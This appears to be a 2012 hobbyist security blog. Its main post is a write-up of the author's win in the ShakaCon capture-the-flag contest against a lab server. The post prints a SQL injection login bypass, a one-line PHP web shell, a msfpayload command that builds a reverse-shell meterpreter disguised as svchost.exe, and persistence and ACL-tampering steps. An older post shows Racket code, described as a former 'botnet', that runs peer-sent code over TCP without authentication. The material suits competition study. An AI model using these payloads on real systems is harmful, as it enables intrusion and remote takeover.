Thursday, June 28, 2012

ShakaCon 2012 - The writeups

I've finally gotten around to write-ups for ShakaCon 2012.  The server that was set up to be attacked was 192.168.1.129 and the score server (which was hooked up to the projector in the conference) was 192.168.1.122, and we (all the attackers) were on 192.168.1.*

so, here we go:

Challenge 1 and challenge 2 were almost identical.  When you accessed the web root, you were presented with a login form, and the first thing I tried was just SQL injection.
 Admin
 '1==1;
logs you in.  OK, step 1 done.  Next you are presented with a gallery of images, and an upload form.  PHP upload vulnerabilities immediately come to mind.  It turns out that there is SOME filtering on the extension, but you can upload a simple PHP shell with a php extension:

lol777.php:

  <?php system($_GET['cmd']); ?>

and this got me a foothold onto the system.  I can run arbitrary commands like this:
  http://192.168.1.129/lol777.php?cmd=DIR /S c:\

Next, build a meterpreter exe:
  msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.108 X > svchost.exe

(with 192.168.1.108 being my x64 backtrack VM, note to self, change default passwords before these sorts of things)

next, set up the listening meterpreter session:


then run:
  http://192.168.1.129/lol777.php?cmd=svchost.exe


BOOM [shell] [pwned]

So, with my inner hacker being so lazy, and my inner computer scientist telling me to take the path of optimality, meterpreter has this AWESOME search function that looks at the entire harddrive to file files matching a simple regex.

BOOM [challenge 1 - PWNED]
BOOM [challenge 2 - PWNED]
BOOM [challenge 5 - PWNED]

Since the web service was running as administrator on the box, I priv. escalated to SYSTEM, migrated to process 604 (the winlogin process), set up persistence, and then popped a VNC shell.  I now have a GUI to play with, as well as the command line!

First thing, change the desktop background to something inconspicuous so that the admins wouldn't know they were pwned:
With that done, I have SYSTEM access, full GUI and full meterpreter control of the box.  Pretty much game over, but I was still behind in points.  My main competition (ari) was overwriting the flags faster than I was, so when the clock ticked I was not getting points. My initial (and VERY inelegant) solution was this:
which is a simple loop (for forever) to make an HTTP request using curl to overwrite the key file.  No delay.  Just as fast and as hard as possible.

This wasn't a very good solution because he built a PHP script (running on the server) to constantly overwrite the server.  Hmm....I'm almost DOS'ing the box at this point (hitting both web services), so I need to go for something better:


I created a batch file, and threw it on the desktop and ran it:

@ECHO OFF
:j
ATTRIB -s key_file
ATTRIB -r key_file
ECHO soen > key_file
ATTRIB +s key_file
ATTRIB +r key_file
goto j

This was remarkably effective.  I closed the point gap quite quickly, but I soon stalled when ari got another service (challenge 3).  DUE TO A KILLED REPORTING PROCESS WE DID NOT CHANGE IN POINT DISTANCE (*cough* *cough*).

But once that was fixed, I started closing in on ari.  He then took the tactic of killing all processes not essential to the system.  And looping it.  So, no CMD.exe, my batch immediately died.

OK

What can I do to combat this?  Well, ari was taking the tactic of remaining outside the system shell (he didn't have a good laptop apparently).  I had full SYSTEM and meterpreter access.  What can I do with that?

WINDOWS ACLS

using meterpreter, I can execute commands (as if I was on the command line), so I decided to go the route of using CACLS.EXE to modify permissions on the key files.  The funny thing with windows: even though you're an administrator on the box (like the web server was running), if you don't have the right permissions you can't do stuff.  You can take away permissions from administrators (essentially).  SO, I removed all write access to the file (except for SYSTEM), then overwrote it with my handle (so I would "capture" the flag).  I did this to Challenge 1,2,5 (because I could find their keys).

Ari, despite his escalations did not regain control of those flags for the rest of the game.


THIS IS THE STORY OF THOSE OTHER FLAGS

The initial nmap scan of the box turned up 80 [challenge 1], 8080 [challenge 2], 3306 [challenge 3], and 31337 [challenge 5].

So I went in for challenge 3 next.
              3306 == mysql
so I fired up mysqld on a nat'd VM and then ran mysql...hmmm...root access denied.
I needed to look around and see what I could gather for credentials.  Almost immediately I found a "config.php" file in the webroot, and inside were:

<?php

    $dbhost = '127.0.0.1';
    $dbuser ='root';
    $dbpass ='!@sh4k4c0nctf2012!@';

    $link = mysql_connect($dbhost, $dbuser, $dbpass);
    if(!$link){exit('Server Not Responding.');}

    $db = 'ctf';
    $connect = mysql_select_db($db, $link);
    if (!$connect) {exit('DB Not Responding.');}

?>
Pay dirt.  super easy.  So, I connect in, there's a database called CTF.  Tables are users, info?, and key.  
SELECT * from key;
--cannot perform this operation

damn.  So at this point, I realized that I suck at MySQL esoterica.  I know I need to quote that thing out but BLOODY HELL I tried a ton of stuff that didn't work.  AFTER DROPPING THE TABLE and recreating it because ari was evil and set the length of one of the fields to 3 (so that my flag, 4 characters, wouldn't go in) I finally get to this little MySQL script:

use ctf;
delete from ctf.key where contents="ari";
delete from ctf.key where contents="soen";
insert into ctf.key (md5,contents) VALUES("c3_de1fce8459e13f3dfee749f30ae15", "soen");
select * from ctf.key;

Updating the key was being a pain, so I took the elegant solution:
perl -e 'while (1) { sleep(1); system("mysql -h 192.168.1.129 -u root --password=\\!\@sh4k4c0nctf2012\\!\@ < update_flag"); }'

yup

another perl while loop.  I hate myself.  Anyways, that locked the flag down for me.  However, the point skews showed that ari would occasionally get the flag, so I needed to look for how he was doing it.  He cleverly inserted a simple statement into the index.php page in the webroot that everyone was hitting constantly, and it updated the SQL with his username.  I decided, such a well hidden script deserves to stay there, but I swapped our names in the script, so it would capture it for me.  After a few minutes of losing point spread, he found it and was nigh-frothing at the lips when he came over and chided me on hacking his scripts.  Lulz.  <3 ari.  ANYWAYS, that wraps it up for challenge #3.

[challenge 4]
there was an entry inside of the sql table that had a username and password.  i tried gmail.  it worked.  references to twitter account set up.  log in to twitter with same uid/pw, @pwned_by_soen.  pointz.

A cool thing inside of the email account that I found was that there was a bit of (what I first through was python) AutoIt script.  this turns out to be the source code to challenge 5.


[challenge 5]
I just realized I lost the source code and my exploit for it.  It was a udp php shell thingy.  pretty cool, imo.

SO, with all the challenges pwned and scripted, time for [challenge infinity]

or

[scoreserver_hacking]

So:

After poking around, and some chiding from the server admins for killing it, I found the reporting mechanism on the box.  The whole system looked like this:

[192.168.1.129] key_reporter.exe -> [192.168.1.122] score_updater -> POINTS

I looked at the file in IDA.  packed.  damn.  easy enough, though.  I threw it into ollydbg, set a breakpoint on pusha, and another on the next popa (Thanks @Danny_Quist (he's kind of a big deal) and TracerFire 4 malware reversing class for the tips).  I then dumped the binary, ran strings on it.  AutoIT in strings.  
/facepalm
/facepalm
/facepalm
/facepalm
[downloaded AutoIT EXE decompiler] -> [source .AU3]






Pretty simple.  There was a delay of 5 seconds at the bottom.  I removed it, and ran the script (hoping, since I pwned all services I would get a REDICulous amount of points.  No such luck, the score_updater only ticked once ever 10 seconds or something, and if there was no input from key_reporter it just kept the current point spread and added points to it.)

So, I started pulling out the little encryption routine to make a plugin for my SQL mapper.  

AT THIS POINT THE CONTEST ENDED

and since I'm lazy, I didn't finish hacking the score server.  /fat

But I won, so hey, who's complaining?

Grats to ari on second, he had a lot of evil tricks up his sleeve and made the escalation of evilness a ton of fun.  Fun times.

I grabbed the http logs and did a touch of data analysis on them, and this is what it came out to:
IPs sorted by number of queries
('192.168.1.132', 835863)
('192.168.1.111', 22445)
('192.168.1.106', 4287)
('192.168.1.110', 1893)
('192.168.1.137', 1296)
('192.168.1.148', 811)
('127.0.0.1', 577)
('192.168.1.114', 468)
('192.168.1.149', 401)
('192.168.1.141', 271)
('192.168.1.147', 177)
('192.168.1.100', 100)
('192.168.1.124', 82)
('169.254.203.92', 39)
('169.254.119.122', 31)
('192.168.1.144', 22)
('192.168.1.2', 13)
('192.168.1.142', 6)
('192.168.1.140', 4)
('192.168.1.108', 4)
('192.168.1.112', 4)
('', 1)

I was pretty happy about the 4 coming from my VM (*.108), but just take a GUESS at whos computer was *.132

all those damn while(1){HIT THE SERVER WITH A HAMMER} loops


FINAL SCORE:

Look at that point spread....mhmmyeahhhh.

/flex


Thanks S-DNA guys for putting it on.  I appreciate it a ton!

Mahalo,

Thursday, June 21, 2012

no big deal

Just won the ShakaCon CTF :D  Write-ups to follow alcohol!

Monday, June 18, 2012

0xSOEN

After talking to the blogspot.com peoples, I have unblocked this blog (apparently it was flagged for spam within seconds of me creating it and inserting no content...whatever).  The old blog I'm deleting in a few days.  I will resume posts, here, at 0xSOEN.blogspot.com

I was curious, your honor...


I picked up Racket, which is a Lisp variant,  with the intent on building a decentralized computing engine (for a security class, I didn't want to run JohnTheRipper distributed in the class because it seemed like a free ride, and I was in the class to learn, dammit).  So I wrote my own distributed cracker.  Then it turned into a botnet.  Then, it evolved into an operating system.  SO, that being set, the code has evolved with my interests over the course of time and has come into a rather (incomplete) working operating system that (once connected to other nodes) will update itself from other nodes and update other nodes (with either running processes or os patches).  Since it was a while since I created this, and it's been a while since I've looked at it, what I'm pasting may not be complete (but it should be).




  1. #lang racket/base
  2. (require racket/tcp)
  3. ;(require (lib "trace.ss"))
  4. (define SYSTEM_messages '())
  5. (define SYSTEM_processes '())
  6. (define SYSTEM_filesystem '(1))
  7. (define SYSTEM_efs '())
  8. (define SYSTEM_quit '())
  9. (define SYSTEM_kernel
  10.   (lambda ()
  11.     (begin
  12.       (SYSTEM_prep_kernel)
  13.       (SYSTEM_bootloader)
  14.       (do ((index 0 0))
  15.         ((eq? SYSTEM_quit 'quit) 'end)
  16.         (begin
  17.           (cond
  18.             ((null? SYSTEM_messages))
  19.             ((not (null? (car SYSTEM_messages)))
  20.              (begin
  21.                (SYSTEM_msg_handler (car SYSTEM_messages))
  22.                (set! SYSTEM_messages (cdr SYSTEM_messages))))))))))
  23. (define retrieve_index
  24.   (lambda (n d)
  25.     (cond
  26.       ((null? d) 'null)
  27.       ((eq? n 1) (car d))
  28.       (else
  29.        (retrieve_index (- n 1) (cdr d))))))
  30. (define SYSTEM_patches
  31.   (let ((patches '('patch_zero)))
  32.     (lambda a
  33.       (begin
  34.         (cond
  35.           ((eq? (car a) 'put) (set! patches (append patches (cdr a))))
  36.           ((eq? (car a) 'get) (retrieve_index (cadr a) patches))
  37.           ((eq? (car a) 'show) patches)
  38.           (else
  39.            'ERROR
  40.            ))))))
  41. (define SYSTEM_prep_kernel
  42.   (lambda ()
  43.     (begin
  44.       ;(SYSTEM_create_thread 'test '(lambda () (sleep 2) (display 7) (newline)))
  45.       ;(SYSTEM_create_thread 'updaterl '(lambda () (begin (updaterl))))
  46.       ;(SYSTEM_create_thread 'updaterc '(lambda () (begin (updaterc "192.168.0.3"))))
  47.       ;(SYSTEM_create_thread 'bsh bsh)
  48.       ;(SYSTEM_create_message 'quit)  
  49.       '()
  50.       )))
  51. (define SYSTEM_create_message
  52.   (lambda (a)
  53.     (cond
  54.       ((eq? a 'quit) (set! SYSTEM_messages (append SYSTEM_messages (list (list 'quit))))))))
  55. (define SYSTEM_kill_thread
  56.   (lambda (a)
  57.     (begin
  58.       (SYSTEM_kill_thread-helper a SYSTEM_processes))))
  59. (define SYSTEM_kill_thread-helper
  60.   (lambda (t plist)
  61.     (if (not (null? plist))
  62.         (let (((car plist)))
  63.           (cond
  64.             ((null? plist) '(thread not found))
  65.             ((eq? (car c) t)
  66.              (begin
  67.                (display (list 'killing 'thread t))
  68.                (kill-thread (car (cddr c)))))
  69.             (else
  70.              (SYSTEM_kill_thread-helper t (cdr plist))))) '())))
  71. (define SYSTEM_create_thread
  72.   (lambda (n t)
  73.     (set! SYSTEM_messages (append SYSTEM_messages (list (list 'thread (list n t)))))))
  74. (define SYSTEM_msg_handler
  75.   (lambda (message)
  76.     (begin
  77.       (cond
  78.         ((eq? (car message) 'thread)
  79.          (begin
  80.            (display `(loading thread ,(caadr message)))
  81.            (newline)
  82.            (set! SYSTEM_processes (append SYSTEM_processes (list (append (cadr message) (list (thread(eval (cadadr message))))))))
  83.            ))
  84.         ((eq? (car message) 'kill)
  85.          (begin
  86.            (SYSTEM_kill_thread (cdr message))
  87.            ;add a way to take this out of system processes
  88.            ))
  89.         ((eq? (car message) 'quit) (set! SYSTEM_quit 'quit))))))
  90. (define vversion 1)
  91. (define (updaterl)
  92.   (let (((tcp-listen 2000)))
  93.     (let-values (((sin sout) (tcp-accept l)))
  94.       (begin
  95.         (file-stream-buffer-mode sin 'none)
  96.         (file-stream-buffer-mode sout 'none)
  97.         (if (string=(symbol->string (read sin)) "update")
  98.             (begin
  99.               (write 'vversion? sout)
  100.               (newline sout)
  101.               (let* ((new_vversion (read sin)))
  102.                 (begin
  103.                   (cond
  104.                     ((> new_vversion vversion)
  105.                      (begin
  106.                        (write 'updateme sout) (newline sout)
  107.                        (write vversion sout) (newline sout)
  108.                        (SYSTEM_patches 'put (read sin))
  109.                        (set! vversion (+ vversion 1))))
  110.                     ((< new_vversion vversion)
  111.                      (begin
  112.                        (write 'updatingyou sout) (newline sout)
  113.                        (write (SYSTEM_patches 'get (+ new_vversion 1)) sout) (newline sout)))
  114.                     (else
  115.                      (write 'identical sout) (newline sout)))))) '())
  116.         (close-output-port sout)
  117.         (close-input-port sin)
  118.         (tcp-close l)
  119.         (SYSTEM_create_thread 'updater '(lambda () (begin (updaterl))))))))
  120. (define updaterc
  121.   (lambda (server)
  122.     (let-values (((sin sout) (tcp-connect server 2000)))
  123.       (begin
  124.         (file-stream-buffer-mode sin 'none)
  125.         (file-stream-buffer-mode sout 'none)
  126.         (write 'update sout)
  127.         (newline sout)
  128.         (read sin)
  129.         (write vversion sout)
  130.         (newline sout)
  131.         (let ((cmd (read sin)))
  132.           (begin
  133.             (cond
  134.               ((eq? cmd 'identical) (display '(identical)))
  135.               ((eq? cmd 'updateme)
  136.                (let ((previous_vversion (read sin)))
  137.                  (begin
  138.                    (write (SYSTEM_patches 'get (+ previous_vversion 1)) sout)
  139.                    (display `(patching server ,previous_vversion to ,vversion))
  140.                    (newline)
  141.                    (sleep 1)
  142.                    (updaterc server))))
  143.               ((eq? cmd 'updatingyou)
  144.                (begin
  145.                  (SYSTEM_patches 'put (read sin))
  146.                  (set! vversion (+ vversion 1))
  147.                  (display `(patching from ,(- vversion 1) to ,vversion))
  148.                  (newline)
  149.                  (updaterc server))))))))))
  150. (define SYSTEM_bootloader
  151.   (lambda ()
  152.     (begin
  153.       (if (not (file-exists? "fs"))
  154.           (begin
  155.             (display "Creating File System")(newline)
  156.             (SYSTEM_bootloader-write)) '())
  157.       (begin
  158.         (display "Loading Bootloader")(newline)
  159.         (set! SYSTEM_filesystem (SYSTEM_bootloader-load "fs"))
  160.         (display "Loading File System")(newline)
  161.         (set! SYSTEM_efs (cdr SYSTEM_filesystem))
  162.         (display "Loading Operating System")(newline)
  163.         (display (car (cdr (caar SYSTEM_filesystem))))))))
  164. (define SYSTEM_bootloader-write
  165.   (lambda ()
  166.     (let ((fport (open-output-file "fs")) (bl 'bootloader) (fs '(SYSTEM_create_thread 'bsh bsh)))
  167.       (begin
  168.         (print `(,bl ,fs) fport)
  169.         (close-output-port fport)))))
  170. (define SYSTEM_bootloader-load
  171.   (lambda (fname)
  172.     (let ((fport (open-input-file fname)))
  173.       (SYSTEM_bootloader-load_file fport))))
  174. (define SYSTEM_bootloader-load_file
  175.   (lambda (port)
  176.     (let ((rec (read port)))
  177.       (if (eof-object? rec)
  178.           '()
  179.           (cons rec (SYSTEM_bootloader-load_file port))))))
  180. (define BSH_quit 0)
  181. (define inp 0)
  182. (define bsh
  183.   (lambda ()
  184.     (begin
  185.       (do ((indexx 0 0))
  186.         ((eq? BSH_quit 1) 'bsh_killed)
  187.         (begin
  188.           (if (eq? BSH_quit 0) (set! inp (read)) '())
  189.           (cond
  190.             ((and (symbol? inp) (eq? inp 'shutdown)) (set!  SYSTEM_quit 'quit))
  191.             ((and (symbol? inp) (eq? inp 'quit)) (set! BSH_quit 1))
  192.             (else
  193.              (begin
  194.                (display (eval inp))
  195.                (newline))))))
  196.       (SYSTEM_kill_thread 'bsh))))
  197. (define file_read
  198.   (lambda (fname)
  199.     (read_fs_helper fname SYSTEM_filesystem)))
  200. (define read_fs_helper
  201.   (lambda (fname flist)
  202.     (cond
  203.       ((null? flist) '(file not found))
  204.       ((eqv? fname (caar flist)) (car (cdr (car flist))))
  205.       (else
  206.        (read_fs_helper fname (cdr flist))))))
  207. (define file_write
  208.   (lambda (fname fdata)
  209.     (write_fs_helper fname fdata '() SYSTEM_filesystem)))
  210. (define write_fs_helper
  211.   (lambda (fname fdata flistL flistR)
  212.     (cond
  213.       ((null? flistR) (set! SYSTEM_filesystem (append SYSTEM_filesystem `(,`(,fname ,fdata)))))
  214.       ((eqv? fname (caar flistR)) (set! SYSTEM_filesystem `(,`,(append flistL (list (cons fname (consfdata (cdr flistR))))))))
  215.       (else
  216.        (write_fs_helper fname fdata (append flistL (car flistR)) (cdr flistR))))))
  217. (define clear_fs_cache
  218.   (lambda ()
  219.     (let ((fport (open-output-file "fs" 'truncate)) (fs SYSTEM_filesystem))
  220.       (begin
  221.         (print fs fport)
  222.         (close-output-port fport)
  223.         '()))))
  224. (define update
  225.   (lambda (a)
  226.     (begin
  227.       (SYSTEM_patches 'put a)
  228.       (set! vversion (+ vversion 1))
  229.       `(current patch level is ,vversion))))
  230. (define node_start
  231.   (lambda ()
  232.     (SYSTEM_create_thread 'updaterl '(lambda () (begin (updaterl))))))
  233. (define node_connect
  234.   (lambda (n)
  235.     (SYSTEM_create_thread 'updaterc '(lambda () (begin (updaterc n))))))
  236. (define help
  237.   (lambda ()
  238.     (begin
  239.       (display '(node_start)) (newline)
  240.       (display '(node_connect "IP")) (newline)
  241.       (display '(update '(code))) (newline)
  242.       (display '(clear_fs_cache)) (newline)
  243.       '()
  244.       )))
  245.  (SYSTEM_kernel)